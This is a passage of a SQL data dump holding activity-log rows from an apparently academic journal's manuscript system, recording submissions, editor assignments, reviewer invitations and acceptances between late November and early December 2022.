Reviewer',13111,'Publisher',319),(123106,'2022-11-25 15:54:56','Publisher has Invited Reviewer',13111,'Publisher',319),(123107,'2022-11-25 15:54:58','Publisher has Invited Reviewer',13111,'Publisher',319),(123108,'2022-11-25 15:55:14','Publisher has Invited Reviewer',13060,'Publisher',319),(123109,'2022-11-25 15:55:16','Publisher has Invited Reviewer',13060,'Publisher',319),(123110,'2022-11-25 15:55:17','Publisher has Invited Reviewer',13060,'Publisher',319),(123111,'2022-11-25 15:55:18','Publisher has Invited Reviewer',13060,'Publisher',319),(123112,'2022-11-25 15:55:19','Publisher has Invited Reviewer',13060,'Publisher',319),(123113,'2022-11-25 15:55:20','Publisher has Invited Reviewer',13060,'Publisher',319),(123114,'2022-11-25 15:55:21','Publisher has Invited Reviewer',13060,'Publisher',319),(123115,'2022-11-25 15:55:22','Publisher has Invited Reviewer',13060,'Publisher',319),(123116,'2022-11-25 15:55:23','Publisher has Invited Reviewer',13060,'Publisher',319),(123117,'2022-11-25 18:35:25','Manuscript Submitted by Author using Submission form',13208,'Author',13411),(123118,'2022-11-26 09:26:05','Publisher has been Assigned Editor',13187,'Publisher',988),(123119,'2022-11-26 09:26:36','Publisher has Invited Reviewer',13187,'Publisher',988),(123120,'2022-11-26 09:26:41','Publisher has Invited Reviewer',13187,'Publisher',988),(123121,'2022-11-26 09:26:45','Publisher has Invited Reviewer',13187,'Publisher',988),(123122,'2022-11-26 09:26:50','Publisher has Invited Reviewer',13187,'Publisher',988),(123123,'2022-11-26 09:26:55','Publisher has Invited Reviewer',13187,'Publisher',988),(123124,'2022-11-26 09:26:59','Publisher has Invited Reviewer',13187,'Publisher',988),(123125,'2022-11-26 09:27:04','Publisher has Invited Reviewer',13187,'Publisher',988),(123126,'2022-11-26 09:27:08','Publisher has Invited Reviewer',13187,'Publisher',988),(123127,'2022-11-26 09:27:13','Publisher has Invited Reviewer',13187,'Publisher',988),(123128,'2022-11-26 09:27:18','Publisher has Invited Reviewer',13187,'Publisher',988),(123129,'2022-11-26 09:27:23','Publisher has Invited Reviewer',13187,'Publisher',988),(123130,'2022-11-26 09:27:29','Publisher has been Assigned Editor',13188,'Publisher',972),(123131,'2022-11-26 09:45:48','Editor has Accepted to review Manuscript',13162,'Editor',1669),(123132,'2022-11-26 09:46:17','Editor has been Editor Decision Accepted article',13162,'Editor',1669),(123133,'2022-11-26 09:48:25','Publisher has been Accepted Articles  article',13162,'Publisher',274),(123134,'2022-11-26 09:49:23','Editor has been Editor Decision Accepted article',13163,'Editor',1594),(123135,'2022-11-26 09:50:06','Publisher has been Accepted Articles  article',13163,'Publisher',274),(123136,'2022-11-26 10:54:43','Manuscript Submitted by Author using Submission form',13209,'Author',13412),(123137,'2022-11-26 11:35:08','Manuscript Submitted by Publisher',13210,'Publisher',248),(123138,'2022-11-28 10:15:28','Publisher has been Assigned Editor',13200,'Publisher',248),(123139,'2022-11-28 10:19:21','Manuscript Submitted by Author using Submission form',13211,'Author',13413),(123140,'2022-11-28 10:36:26','Publisher has been Assigned Editor',13208,'Publisher',48),(123141,'2022-11-28 10:36:49','Publisher has been Assigned Editor',13207,'Publisher',48),(123142,'2022-11-28 10:37:07','Publisher has been Assigned Editor',13206,'Publisher',48),(123143,'2022-11-28 10:54:48','Publisher has been Assigned Editor',13198,'Publisher',673),(123144,'2022-11-28 11:36:22','Publisher has Invited Reviewer',13198,'Publisher',673),(123145,'2022-11-28 11:36:27','Publisher has Invited Reviewer',13198,'Publisher',673),(123146,'2022-11-28 11:36:31','Publisher has Invited Reviewer',13198,'Publisher',673),(123147,'2022-11-28 11:36:36','Publisher has Invited Reviewer',13198,'Publisher',673),(123148,'2022-11-28 11:36:41','Publisher has Invited Reviewer',13198,'Publisher',673),(123149,'2022-11-28 11:36:45','Publisher has Invited Reviewer',13198,'Publisher',673),(123150,'2022-11-28 11:36:50','Publisher has Invited Reviewer',13198,'Publisher',673),(123151,'2022-11-28 11:36:55','Publisher has Invited Reviewer',13198,'Publisher',673),(123152,'2022-11-28 11:36:59','Publisher has Invited Reviewer',13198,'Publisher',673),(123153,'2022-11-28 11:37:04','Publisher has Invited Reviewer',13198,'Publisher',673),(123154,'2022-11-28 11:37:09','Publisher has Invited Reviewer',13198,'Publisher',673),(123155,'2022-11-28 12:09:34','Manuscript Submitted by Author using Submission form',13212,'Author',13415),(123156,'2022-11-29 01:05:31','Reviewer has submitted comments',13155,'Reviewer',11353),(123157,'2022-11-29 01:19:21','Reviewer has submitted comments',13066,'Reviewer',11353),(123158,'2022-11-29 01:34:16','Manuscript Submitted by Author using Submission form',13213,'Author',13416),(123159,'2022-11-29 09:31:39','Publisher has been Assigned Editor',13199,'Publisher',319),(123160,'2022-11-29 09:46:28','Manuscript Submitted by Publisher',13214,'',1050),(123161,'2022-11-29 10:10:02','Publisher has been Assigned Editor',13201,'Publisher',376),(123162,'2022-11-29 10:10:17','Publisher has been Assigned Editor',13203,'Publisher',376),(123163,'2022-11-29 10:10:32','Publisher has been Assigned Editor',13202,'Publisher',376),(123164,'2022-11-29 10:11:54','Editor has Accepted to review Manuscript',13203,'Editor',1245),(123165,'2022-11-29 10:12:06','Editor has been Editor Decision Accepted article',13203,'Editor',1245),(123166,'2022-11-29 10:12:47','Editor has Accepted to review Manuscript',13202,'Editor',1012),(123167,'2022-11-29 10:12:59','Editor has been Editor Decision Accepted article',13202,'Editor',1012),(123168,'2022-11-29 10:13:47','Editor has Accepted to review Manuscript',13201,'Editor',1452),(123169,'2022-11-29 10:13:58','Editor has been Editor Decision Accepted article',13201,'Editor',1452),(123170,'2022-11-29 10:50:23','Publisher has been Accepted Articles  article',13201,'Publisher',376),(123171,'2022-11-29 10:50:51','Publisher has been Accepted Articles  article',13202,'Publisher',376),(123172,'2022-11-29 10:51:26','Publisher has been Accepted Articles  article',13203,'Publisher',376),(123173,'2022-11-29 14:49:14','Publisher has been Assigned Editor',13210,'Publisher',248),(123174,'2022-11-29 14:51:06','Publisher has been Assigned Editor',13209,'Publisher',248),(123175,'2022-11-29 14:51:19','Publisher has been Assigned Editor',13205,'Publisher',248),(123176,'2022-11-29 14:51:36','Publisher has been Assigned Editor',13204,'Publisher',248),(123177,'2022-11-29 14:52:39','Publisher has Invited Reviewer',13199,'Publisher',319),(123178,'2022-11-29 14:52:40','Publisher has Invited Reviewer',13199,'Publisher',319),(123179,'2022-11-29 14:52:41','Publisher has Invited Reviewer',13199,'Publisher',319),(123180,'2022-11-29 14:52:42','Publisher has Invited Reviewer',13199,'Publisher',319),(123181,'2022-11-29 14:52:42','Publisher has Invited Reviewer',13199,'Publisher',319),(123182,'2022-11-29 14:52:43','Publisher has Invited Reviewer',13199,'Publisher',319),(123183,'2022-11-29 14:52:44','Publisher has Invited Reviewer',13199,'Publisher',319),(123184,'2022-11-29 14:52:45','Publisher has Invited Reviewer',13199,'Publisher',319),(123185,'2022-11-29 14:52:46','Publisher has Invited Reviewer',13199,'Publisher',319),(123186,'2022-11-29 15:39:07','Manuscript Submitted by Author using Submission form',13215,'Author',13417),(123187,'2022-11-29 15:48:41','Editor has Accepted to review Manuscript',13095,'Editor',191),(123188,'2022-11-29 15:48:52','Editor has been Editor Decision Accepted article',13095,'Editor',191),(123189,'2022-11-29 15:51:43','Reviewer has submitted comments',13095,'Reviewer',10976),(123190,'2022-11-29 15:53:03','Publisher: Accept Notification has been sent to Author',13095,'Publisher',48),(123191,'2022-11-29 15:54:02','Publisher has been Accepted Articles  article',13095,'Publisher',48),(123192,'2022-11-29 16:41:21','Publisher has been Assigned Editor',13213,'Publisher',48),(123193,'2022-11-29 17:49:26','Publisher has Invited Reviewer',13206,'Publisher',48),(123194,'2022-11-29 17:49:31','Publisher has Invited Reviewer',13206,'Publisher',48),(123195,'2022-11-29 17:49:36','Publisher has Invited Reviewer',13206,'Publisher',48),(123196,'2022-11-29 17:50:33','Publisher has Invited Reviewer',13207,'Publisher',48),(123197,'2022-11-29 17:50:38','Publisher has Invited Reviewer',13207,'Publisher',48),(123198,'2022-11-29 17:50:43','Publisher has Invited Reviewer',13207,'Publisher',48),(123199,'2022-11-29 17:51:57','Publisher has Invited Reviewer',13208,'Publisher',48),(123200,'2022-11-29 17:52:01','Publisher has Invited Reviewer',13208,'Publisher',48),(123201,'2022-11-29 17:52:06','Publisher has Invited Reviewer',13208,'Publisher',48),(123202,'2022-11-30 10:14:17','Editor has Accepted to review Manuscript',13142,'Editor',1070),(123203,'2022-11-30 10:16:12','Editor has been Editor Decision Accepted article',13142,'Editor',1070),(123204,'2022-11-30 11:36:08','Manuscript Updated',13111,'Publisher',319),(123205,'2022-11-30 11:36:28','Publisher has been Accepted Articles  article',13111,'Publisher',319),(123206,'2022-11-30 11:36:29','Publisher has been Accepted Articles  article',13111,'Publisher',319),(123207,'2022-11-30 11:55:23','Publisher has been Accepted Articles  article',13189,'Publisher',319),(123208,'2022-11-30 12:20:59','Manuscript Updated',13199,'Publisher',319),(123209,'2022-11-30 12:21:12','Publisher has been Accepted Articles  article',13199,'Publisher',319),(123210,'2022-11-30 13:50:13','Manuscript Submitted by Author using Submission form',13217,'Author',13419),(123211,'2022-11-30 13:52:54','Editor has Accepted to review Manuscript',13119,'Editor',194),(123212,'2022-11-30 13:53:11','Editor has been Editor Decision Accepted article',13119,'Editor',194),(123213,'2022-11-30 13:56:11','Publisher: Accept Notification has been sent to Author',13119,'Publisher',48),(123214,'2022-11-30 13:56:35','Publisher has been Accepted Articles  article',13119,'Publisher',48),(123215,'2022-11-30 14:29:06','Manuscript Submitted by Author using Submission form',13218,'Author',13420),(123216,'2022-11-30 15:13:52','Manuscript Submitted by Author using Submission form',13219,'Author',13421),(123217,'2022-11-30 15:30:52','Manuscript Submitted by Publisher',13221,'Publisher',48),(123218,'2022-11-30 16:59:00','Publisher has been Assigned Editor',13215,'Publisher',376),(123219,'2022-11-30 17:02:49','Editor has Accepted to review Manuscript',13215,'Editor',1705),(123220,'2022-11-30 17:03:05','Editor has been Editor Decision Accepted article',13215,'Editor',1705),(123221,'2022-11-30 17:15:04','Publisher has Invited Reviewer',13215,'Publisher',376),(123222,'2022-11-30 17:15:08','Publisher has Invited Reviewer',13215,'Publisher',376),(123223,'2022-11-30 17:15:13','Publisher has Invited Reviewer',13215,'Publisher',376),(123224,'2022-11-30 17:15:18','Publisher has Invited Reviewer',13215,'Publisher',376),(123225,'2022-12-01 00:31:21','Manuscript Submitted by Author using Submission form',13225,'Author',13430),(123226,'2022-12-01 11:02:50','Publisher has Invited Reviewer',13204,'Publisher',248),(123227,'2022-12-01 11:02:55','Publisher has Invited Reviewer',13204,'Publisher',248),(123228,'2022-12-01 11:02:59','Publisher has Invited Reviewer',13204,'Publisher',248),(123229,'2022-12-01 11:03:04','Publisher has Invited Reviewer',13204,'Publisher',248),(123230,'2022-12-01 11:03:09','Publisher has Invited Reviewer',13204,'Publisher',248),(123231,'2022-12-01 11:03:13','Publisher has Invited Reviewer',13204,'Publisher',248),(123232,'2022-12-01 11:03:18','Publisher has Invited Reviewer',13204,'Publisher',248),(123233,'2022-12-01 11:03:23','Publisher has Invited Reviewer',13204,'Publisher',248),(123234,'2022-12-01 11:03:28','Publisher has Invited Reviewer',13204,'Publisher',248),(123235,'2022-12-01 11:03:32','Publisher has Invited Reviewer',13204,'Publisher',248),(123236,'2022-12-01 11:03:37','Publisher has Invited Reviewer',13204,'Publisher',248),(123237,'2022-12-01 11:03:42','Publisher has Invited Reviewer',13204,'Publisher',248),(123238,'2022-12-01 11:03:46','Publisher has Invited Reviewer',13204,'Publisher',248),(123239,'2022-12-01 11:03:51','Publisher has Invited Reviewer',13204,'Publisher',248),(123240,'2022-12-01 11:03:56','Publisher has Invited Reviewer',13204,'Publisher',248),(123241,'2022-12-01 11:04:00','Publisher has Invited Reviewer',13204,'Publisher',248),(123242,'2022-12-01 11:04:05','Publisher has Invited Reviewer',13204,'Publisher',248),(123243,'2022-12-01 11:04:10','Publisher has Invited Reviewer',13204,'Publisher',248),(123244,'2022-12-01 11:04:15','Publisher has Invited Reviewer',13204,'Publisher',248),(123245,'2022-12-01 11:04:19','Publisher has Invited Reviewer',13204,'Publisher',248),(123246,'2022-12-01 11:04:59','Publisher has been Assigned Editor',13221,'Publisher',48),(123247,'2022-12-01 11:34:56','Publisher has Invited Reviewer',13205,'Publisher',248),(123248,'2022-12-01 11:35:01','Publisher has Invited Reviewer',13205,'Publisher',248),(123249,'2022-12-01 11:35:06','Publisher has Invited Reviewer',13205,'Publisher',248),(123250,'2022-12-01 11:35:10','Publisher has Invited Reviewer',13205,'Publisher',248),(123251,'2022-12-01 11:35:15','Publisher has Invited Reviewer',13205,'Publisher',248),(123252,'2022-12-01 11:35:20','Publisher has Invited Reviewer',13205,'Publisher',248),(123253,'2022-12-01 11:35:25','Publisher has Invited Reviewer',13205,'Publisher',248),(123254,'2022-12-01 11:35:29','Publisher has Invited Reviewer',13205,'Publisher',248),(123255,'2022-12-01 11:35:34','Publisher has Invited Reviewer',13205,'Publisher',248),(123256,'2022-12-01 11:35:39','Publisher has Invited Reviewer',13205,'Publisher',248),(123257,'2022-12-01 11:35:43','Publisher has Invited Reviewer',13205,'Publisher',248),(123258,'2022-12-01 11:35:48','Publisher has Invited Reviewer',13205,'Publisher',248),(123259,'2022-12-01 11:35:52','Publisher has Invited Reviewer',13205,'Publisher',248),(123260,'2022-12-01 11:35:57','Publisher has Invited Reviewer',13205,'Publisher',248),(123261,'2022-12-01 11:36:02','Publisher has Invited Reviewer',13205,'Publisher',248),(123262,'2022-12-01 11:36:07','Publisher has Invited Reviewer',13205,'Publisher',248),(123263,'2022-12-01 11:36:11','Publisher has Invited Reviewer',13205,'Publisher',248),(123264,'2022-12-01 11:36:16','Publisher has Invited Reviewer',13205,'Publisher',248),(123265,'2022-12-01 11:36:21','Publisher has Invited Reviewer',13205,'Publisher',248),(123266,'2022-12-01 11:36:25','Publisher has Invited Reviewer',13205,'Publisher',248),(123267,'2022-12-01 11:36:30','Publisher has Invited Reviewer',13205,'Publisher',248),(123268,'2022-12-01 11:36:35','Publisher has Invited Reviewer',13205,'Publisher',248),(123269,'2022-12-01 11:36:39','Publisher has Invited Reviewer',13205,'Publisher',248),(123270,'2022-12-01 12:28:44','Manuscript Submitted by Author using Submission form',13226,'Author',13432),(123271,'2022-12-01 12:29:51','Manuscript Submitted by Author using Submission form',13227,'Author',13433),(123272,'2022-12-01 14:17:37','Publisher has Invited Reviewer',13209,'Publisher',248),(123273,'2022-12-01 14:17:42','Publisher has Invited Reviewer',13209,'Publisher',248),(123274,'2022-12-01 14:17:47','Publisher has Invited Reviewer',13209,'Publisher',248),(123275,'2022-12-01 14:17:52','Publisher has Invited Reviewer',13209,'Publisher',248),(123276,'2022-12-01 14:17:56','Publisher has Invited Reviewer',13209,'Publisher',248),(123277,'2022-12-01 15:50:59','Publisher has been Accepted Articles  article',13210,'Publisher',248),(123278,'2022-12-01 16:52:46','Publisher has Invited Reviewer',13200,'Publisher',248),(123279,'2022-12-01 16:52:51','Publisher has Invited Reviewer',13200,'Publisher',248),(123280,'2022-12-01 16:52:56','Publisher has Invited Reviewer',13200,'Publisher',248),(123281,'2022-12-01 16:53:01','Publisher has Invited Reviewer',13200,'Publisher',248),(123282,'2022-12-01 16:53:06','Publisher has Invited Reviewer',13200,'Publisher',248),(123283,'2022-12-01 16:54:01','Publisher has been Accepted Articles  article',13200,'Publisher',248),(123284,'2022-12-01 18:04:27','Manuscript Submitted by Publisher',13228,'Publisher',673),(123285,'2022-12-02 09:17:40','Manuscript Submitted by Author using Submission form',13229,'Author',13435),(123286,'2022-12-02 10:38:19','Publisher has been Accepted Articles  article',13204,'Publisher',248),(123287,'2022-12-02 11:24:31','Manuscript Updated',12190,'Publisher',248),(123288,'2022-12-02 11:45:56','Manuscript Updated',13205,'Publisher',248),(123289,'2022-12-02 11:46:17','Publisher has been Accepted Articles  article',13205,'Publisher',248),(123290,'2022-12-02 12:16:01','Manuscript Updated',13209,'Publisher',248),(123291,'2022-12-02 12:16:40','Publisher has been Accepted Articles  article',13209,'Publisher',248),(123292,'2022-12-02 12:48:45','Manuscript Submitted by Author using Submission form',13230,'Author',13437),(123293,'2022-12-02 12:54:10','Manuscript Submitted by Author',13231,'Author',13437),(123294,'2022-12-02 13:43:24','Manuscript Updated',13215,'Publisher',376),(123295,'2022-12-02 13:43:39','Publisher has been Accepted Articles  article',13215,'Publisher',376),(123296,'2022-12-02 13:44:46','Manuscript Submitted by Author',13232,'Author',13437),(123297,'2022-12-02 13:47:16','Manuscript Submitted by Author',13233,'Author',13437),(123298,'2022-12-02 13:49:14','Manuscript Submitted by Author',13234,'Author',13437),(123299,'2022-12-02 13:50:39','Manuscript Submitted by Author',13235,'Author',13437),(123300,'2022-12-02 13:51:54','Manuscript Submitted by Author',13236,'Author',13437),(123301,'2022-12-02 13:53:54','Manuscript Submitted by Author',13237,'Author',13437),(123302,'2022-12-02 14:05:09','Manuscript Submitted by Author using Submission form',13238,'Author',13439),(123303,'2022-12-02 14:14:53','Manuscript Submitted by Author using Submission form',13239,'Author',13440),(123304,'2022-12-02 14:25:41','Publisher has been Assigned Editor',13214,'',1050),(123305,'2022-12-02 14:29:07','Editor has Accepted to review Manuscript',13214,'Editor',1788),(123306,'2022-12-02 14:30:16','Editor has been Editor Decision Accepted article',13214,'Editor',1788),(123307,'2022-12-02 14:50:24','Manuscript Submitted by Author using Submission form',13240,'Author',13441),(123308,'2022-12-02 14:56:00','Manuscript Submitted by Author using Submission form',13241,'Author',13442),(123309,'2022-12-02 15:19:22','Publisher has been Assigned Editor',13166,'',1050),(123310,'2022-12-02 15:21:00','Editor has Accepted to review Manuscript',13166,'Editor',1788),(123311,'2022-12-02 15:21:11','Editor has been Editor Decision Accepted article',13166,'Editor',1788),(123312,'2022-12-02 15:21:49','Publisher has been Accepted Articles  article',13166,'',1050),(123313,'2022-12-02 15:24:29','Publisher has been Assigned Editor',13211,'Publisher',984),(123314,'2022-12-02 15:24:44','Publisher has been Assigned Editor',13212,'Publisher',984),(123315,'2022-12-02 16:09:28','Manuscript Submitted by Author using Submission form',13242,'Author',13444),(123316,'2022-12-02 16:56:12','Editor has Accepted to review Manuscript',13167,'Editor',1670),(123317,'2022-12-02 16:56:37','Editor has been Editor Decision Accepted article',13167,'Editor',1670),(123318,'2022-12-02 16:57:23','Publisher has been Accepted Articles  article',13167,'Publisher',274),(123319,'2022-12-02 17:24:39','Publisher has been Assigned Editor',13217,'Publisher',319),(123320,'2022-12-02 17:24:51','Publisher has been Assigned Editor',13218,'Publisher',319),(123321,'2022-12-02 17:25:08','Publisher has Invited Reviewer',13218,'Publisher',319),(123322,'2022-12-02 17:25:08','Publisher has Invited Reviewer',13218,'Publisher',319),(123323,'2022-12-02 17:25:09','Publisher has Invited Reviewer',13218,'Publisher',319),(123324,'2022-12-02 17:25:09','Publisher has Invited Reviewer',13218,'Publisher',319),(123325,'2022-12-02 17:25:10','Publisher has Invited Reviewer',13218,'Publisher',319),(123326,'2022-12-02 17:25:10','Publisher has Invited Reviewer',13218,'Publisher',319),(123327,'2022-12-02 17:25:11','Publisher has Invited Reviewer',13218,'Publisher',319),(123328,'2022-12-02 17:25:11','Publisher has Invited Reviewer',13218,'Publisher',319),(123329,'2022-12-02 17:25:11','Publisher has Invited Reviewer',13218,'Publisher',319),(123330,'2022-12-02 17:25:27','Publisher has Invited Reviewer',13217,'Publisher',319),(123331,'2022-12-02 17:25:28','Publisher has Invited Reviewer',13217,'Publisher',319),(123332,'2022-12-02 17:25:29','Publisher has Invited Reviewer',13217,'Publisher',319),(123333,'2022-12-02 17:25:29','Publisher has Invited Reviewer',13217,'Publisher',319),(123334,'2022-12-02 17:25:30','Publisher has Invited Reviewer',13217,'Publisher',319),(123335,'2022-12-03 08:45:21','Manuscript Updated',13154,'Publisher',85),(123336,'2022-12-03 08:46:07','Publisher has been Accepted Articles  article',13154,'Publisher',85),(123337,'2022-12-03 08:46:19','Manuscript Updated',13154,'Publisher',85),(123338,'2022-12-03 08:47:23','Publisher: Accept Notification has been sent to Author',13154,'Publisher',85),(123339,'2022-12-03 08:49:03','Publisher has been Accepted Articles  article',13154,'Publisher',85),(123340,'2022-12-03 09:02:05','Reviewer has submitted comments',13218,'Reviewer',12875),(123341,'2022-12-03 10:04:42','Manuscript Updated',13125,'Publisher',85),(123342,'2022-12-03 10:52:29','Editor has Accepted to review Manuscript',13216,'Editor',1666),(123343,'2022-12-03 10:52:33','Editor has Accepted to review Manuscript',13224,'Editor',1666),(123344,'2022-12-03 10:52:53','Editor has been Editor Decision Accepted article',13224,'Editor',1666),(123345,'2022-12-03 10:53:03','Editor has been Editor Decision Accepted article',13216,'Editor',1666),(123346,'2022-12-03 10:53:12','Editor has Accepted to review Manuscript',13223,'Editor',1666),(123347,'2022-12-03 10:53:19','Editor has been Editor Decision Accepted article',13223,'Editor',1666),(123348,'2022-12-03 10:53:30','Editor has Accepted to review Manuscript',13222,'Editor',1666),(123349,'2022-12-03 10:53:37','Editor has been Editor Decision Accepted article',13222,'Editor',1666),(123350,'2022-12-03 10:53:47','Editor has Accepted to review Manuscript',13220,'Editor',1666),(123351,'2022-12-03 10:53:59','Editor has been Editor Decision Accepted article',13220,'Editor',1666),(123352,'2022-12-05 09:37:17','Publisher has Invited Reviewer',13221,'Publisher',48),(123353,'2022-12-05 09:37:21','Publisher has Invited Reviewer',13221,'Publisher',48),(123354,'2022-12-05 09:37:55','Publisher has Invited Reviewer',13213,'Publisher',48),(123355,'2022-12-05 09:38:00','Publisher has Invited Reviewer',13213,'Publisher',48),(123356,'2022-12-05 09:44:27','Editor has Accepted to review Manuscript',12860,'Editor',1324),(123357,'2022-12-05 09:44:41','Editor has been Editor Decision Accepted article',12860,'Editor',1324),(123358,'2022-12-05 09:46:44','Publisher has been Assigned Editor',13228,'Publisher',673),(123359,'2022-12-05 10:11:19','Manuscript Updated',13228,'Publisher',673),(123360,'2022-12-05 10:11:45','Publisher has been Accepted Articles  article',13228,'Publisher',673),(123361,'2022-12-05 10:11:54','Manuscript Updated',13228,'Publisher',673),(123362,'2022-12-05 10:12:10','Manuscript Updated',13198,'Publisher',673),(123363,'2022-12-05 10:12:29','Publisher has been Accepted Articles  article',13198,'Publisher',673),(123364,'2022-12-05 10:12:42','Manuscript Updated',13198,'Publisher',673),(123365,'2022-12-05 10:12:54','Manuscript Updated',13155,'Publisher',673),(123366,'2022-12-05 10:13:12','Publisher has been Accepted Articles  article',13155,'Publisher',673),(123367,'2022-12-05 10:13:23','Manuscript Updated',13153,'Publisher',673),(123368,'2022-12-05 10:13:54','Publisher has been Accepted Articles  article',13153,'Publisher',673),(123369,'2022-12-05 10:14:03','Manuscript Updated',13153,'Publisher',673),(123370,'2022-12-05 10:14:25','Manuscript Updated',13066,'Publisher',673),(123371,'2022-12-05 10:14:38','Publisher has been Accepted Articles  article',13066,'Publisher',673),(123372,'2022-12-05 10:14:55','Manuscript Updated',13066,'Publisher',673),(123373,'2022-12-05 10:16:05','Publisher has been Assigned Editor',13229,'Publisher',376),(123374,'2022-12-05 10:17:03','Editor has Accepted to review Manuscript',13229,'Editor',1452),(123375,'2022-12-05 10:17:15','Editor has been Editor Decision Accepted article',13229,'Editor',1452),(123376,'2022-12-05 10:18:24','Publisher has Invited Reviewer',13229,'Publisher',376),(123377,'2022-12-05 10:18:29','Publisher has Invited Reviewer',13229,'Publisher',376),(123378,'2022-12-05 10:18:34','Publisher has Invited Reviewer',13229,'Publisher',376),(123379,'2022-12-05 10:18:38','Publisher has Invited Reviewer',13229,'Publisher',376),(123380,'2022-12-05 10:36:01','Publisher has been Accepted Articles  article',13218,'Publisher',319),(123381,'2022-12-05 10:48:53','Manuscript Updated',13217,'Publisher',319),(123382,'2022-12-05 10:49:16','Publisher has been Accepted Articles  article',13217,'Publisher',319),(123383,'2022-12-05 17:09:25','Manuscript Submitted by Publisher',13246,'Publisher',85),(123384,'2022-12-05 22:48:22','Manuscript Submitted by Author using Submission form',13248,'Author',13452),(123385,'2022-12-06 10:15:32','Publisher has been Accepted Articles  article',13051,'',1434),(123386,'2022-12-06 10:18:02','Publisher has been Accepted Articles  article',13058,'',1466),(123387,'2022-12-06 10:24:37','Publisher has been Accepted Articles  article',13114,'',1466),(123388,'2022-12-06 10:45:48','Editor has Accepted to review Manuscript',13168,'Editor',160),(123389,'2022-12-06 10:46:00','Editor has been Editor Decision Accepted article',13168,'Editor',160),(123390,'2022-12-06 10:46:00','Editor has been Editor Decision Accepted article',13168,'Editor',160),(123391,'2022-12-06 10:46:00','Editor has been Editor Decision Accepted article',13168,'Editor',160),(123392,'2022-12-06 10:46:47','Publisher: Accept Notification has been sent to Author',13168,'Publisher',75),(123393,'2022-12-06 10:48:10','Publisher has been Accepted Articles  article',13168,'Publisher',75),(123394,'2022-12-06 16:55:22','Manuscript Submitted by Publisher',13252,'Publisher',85),(123395,'2022-12-06 16:59:32','Manuscript Submitted by Publisher',13253,'Publisher',85),(123396,'2022-12-06 17:04:07','Manuscript Submitted by Publisher',13254,'Publisher',85),(123397,'2022-12-06 22:44:43','Reviewer has submitted comments',13221,'Reviewer',5467),(123398,'2022-12-07 10:14:45','Publisher has been Assigned Editor',13248,'Publisher',673),(123399,'2022-12-07 10:15:36','Publisher has Invited Reviewer',13248,'Publisher',673),(123400,'2022-12-07 10:15:40','Publisher has Invited Reviewer',13248,'Publisher',673),(123401,'2022-12-07 10:15:45','Publisher has Invited Reviewer',13248,'Publisher',673),(123402,'2022-12-07 10:15:50','Publisher has Invited Reviewer',13248,'Publisher',673),(123403,'2022-12-07 10:15:55','Publisher has Invited Reviewer',13248,'Publisher',673),(123404,'2022-12-07 14:30:15','Editor has Accepted to review Manuscript',13206,'Editor',194),(123405,'2022-12-07 14:30:25','Editor has been Editor Decision Accepted article',13206,'Editor',194),(123406,'2022-12-07 14:35:04','Reviewer has submitted comments',13206,'Reviewer',14534),(123407,'2022-12-07 14:38:04','Manuscript Submitted by Publisher',13255,'Publisher',48),(123408,'2022-12-07 15:14:51','Editor has Accepted to review Manuscript',13251,'Editor',222),(123409,'2022-12-07 15:15:07','Editor has been Editor Decision Accepted article',13251,'Editor',222),(123410,'2022-12-07 15:15:16','Editor has Accepted to review Manuscript',13250,'Editor',222),(123411,'2022-12-07 15:15:28','Editor has been Editor Decision Accepted article',13250,'Editor',222),(123412,'2022-12-07 15:15:40','Editor has Accepted to review Manuscript',13249,'Editor',222),(123413,'2022-12-07 15:15:50','Editor has been Editor Decision Accepted article',13249,'Editor',222),(123414,'2022-12-07 15:15:56','Editor has Accepted to review Manuscript',13247,'Editor',222),(123415,'2022-12-07 15:16:07','Editor has been Editor Decision Accepted article',13247,'Editor',222),(123416,'2022-12-07 15:21:59','Manuscript Updated',13250,'Publisher',84),(123417,'2022-12-07 15:22:11','Manuscript Updated',13251,'Publisher',84),(123418,'2022-12-07 15:22:47','Editor has been 2 article',13247,'Publisher',84),(123419,'2022-12-07 15:23:22','Editor has been 2 article',13249,'Publisher',84),(123420,'2022-12-07 15:23:52','Editor has been 2 article',13250,'Publisher',84),(123421,'2022-12-07 15:24:44','Editor has been 2 article',13251,'Publisher',84),(123422,'2022-12-07 17:52:42','Publisher has been Assigned Editor',13254,'Publisher',85),(123423,'2022-12-07 17:52:58','Publisher has been Assigned Editor',13253,'Publisher',85),(123424,'2022-12-07 17:53:10','Publisher has been Assigned Editor',13252,'Publisher',85),(123425,'2022-12-07 17:53:23','Publisher has been Assigned Editor',13246,'Publisher',85),(123426,'2022-12-07 17:54:08','Editor has Accepted to review Manuscript',13246,'Editor',1675),(123427,'2022-12-07 17:54:24','Editor has been Editor Decision Accepted article',13246,'Editor',1675),(123428,'2022-12-07 17:54:36','Editor has Accepted to review Manuscript',13252,'Editor',1675),(123429,'2022-12-07 17:54:45','Editor has been Editor Decision Accepted article',13252,'Editor',1675),(123430,'2022-12-07 17:54:56','Editor has Accepted to review Manuscript',13253,'Editor',1675),(123431,'2022-12-07 17:55:04','Editor has been Editor Decision Accepted article',13253,'Editor',1675),(123432,'2022-12-07 17:55:13','Editor has Accepted to review Manuscript',13254,'Editor',1675),(123433,'2022-12-07 17:55:21','Editor has been Editor Decision Accepted article',13254,'Editor',1675),(123434,'2022-12-07 19:33:47','Author sent Email',12822,'Author',13043),(123435,'2022-12-08 11:17:34','Manuscript Submitted by Author using Submission form',13256,'Author',13460),(123436,'2022-12-08 11:19:14','Manuscript Submitted by Author using Submission form',13257,'Author',13461),(123437,'2022-12-08 11:21:48','Manuscript Submitted by Author using Submission form',13258,'Author',13462),(123438,'2022-12-08 11:23:25','Manuscript Submitted by Author using Submission form',13259,'Author',13463),(123439,'2022-12-08 11:26:26','Manuscript Submitted by Author using Submission form',13260,'Author',13464),(123440,'2022-12-08 11:50:48','Manuscript Updated',13246,'Publisher',85),(123441,'2022-12-08 11:51:17','Publisher has been Accepted Articles  article',13246,'Publisher',85),(123442,'2022-12-08 11:51:25','Manuscript Updated',13246,'Publisher',85),(123443,'2022-12-08 11:51:49','Manuscript Updated',13252,'Publisher',85),(123444,'2022-12-08 11:52:11','Publisher has been Accepted Articles  article',13252,'Publisher',85),(123445,'2022-12-08 11:52:29','Manuscript Updated',13252,'Publisher',85),(123446,'2022-12-08 11:52:53','Manuscript Updated',13253,'Publisher',85),(123447,'2022-12-08 11:53:15','Publisher has been Accepted Articles  article',13253,'Publisher',85),(123448,'2022-12-08 11:53:27','Manuscript Updated',13253,'Publisher',85),(123449,'2022-12-08 11:53:43','Manuscript Updated',13254,'Publisher',85),(123450,'2022-12-08 11:54:02','Publisher has been Accepted Articles  article',13254,'Publisher',85),(123451,'2022-12-08 11:54:10','Manuscript 